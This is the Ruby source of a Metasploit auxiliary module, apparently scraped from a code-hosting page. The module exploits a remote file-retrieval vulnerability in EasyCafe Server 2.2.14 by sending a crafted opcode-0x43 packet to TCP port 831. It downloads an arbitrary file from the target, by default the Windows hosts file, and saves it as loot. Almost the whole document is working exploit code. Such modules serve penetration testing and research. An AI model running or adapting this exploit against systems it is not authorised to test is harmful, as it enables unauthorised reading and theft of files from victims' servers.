Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(update_info(info,12'Name' => 'EasyCafe Server Remote File Access',13'Description' => %q{14This module exploits a file retrieval vulnerability in15EasyCafe Server. The vulnerability can be triggered by16sending a specially crafted packet (opcode 0x43) to the17831/TCP port.18This module has been successfully tested on EasyCafe Server19version 2.2.14 (Trial mode and Demo mode) on Windows XP SP320and Windows 7 SP1.21Note that the server will throw a popup messagebox if the22specified file does not exist.23},24'License' => MSF_LICENSE,25'Author' =>26[27'R-73eN', # Vulnerability Discovery28'bcoles' # Metasploit module29],30'References' =>31[32[ 'EDB', '39102' ]33]34))3536register_options(37[38Opt::RPORT(831),39OptString.new('FILEPATH', [true, 'The path of the file to download', 'C:\\WINDOWS\\system32\\drivers\\etc\\hosts'])40])41end4243def get_file44res = sock.get_once45unless res46print_error("Unable to retrieve file due to a timeout.")47return48end4950unless res.length == 26151print_error("Received a response of an invalid size.")52return53end5455file_size = res.unpack('@256V')[0]56contents = ''57while contents.length < file_size58contents << sock.get_once59end6061print_good("File retrieved successfully (#{contents.length} bytes)!")62contents63end6465def run_host(ip)66file_path = datastore['FILEPATH']67if file_path.length > 6768print_error("File path is longer than 67 characters. Try using MS-DOS 8.3 short file names.")69return70end7172packet = "\x43"73packet << file_path74packet << "\x00" * (255 - file_path.length)75packet << "\x01\x00\x00\x00\x01"7677vprint_status("Sending request (#{packet.length} bytes)")78connect79sock.put(packet)8081contents = get_file82disconnect83return if contents.nil?8485path = store_loot(86'easycafe_server',87'application/octet-stream',88ip,89contents,90File.basename(file_path)91)92print_status("File saved in: #{path}")93end94end959697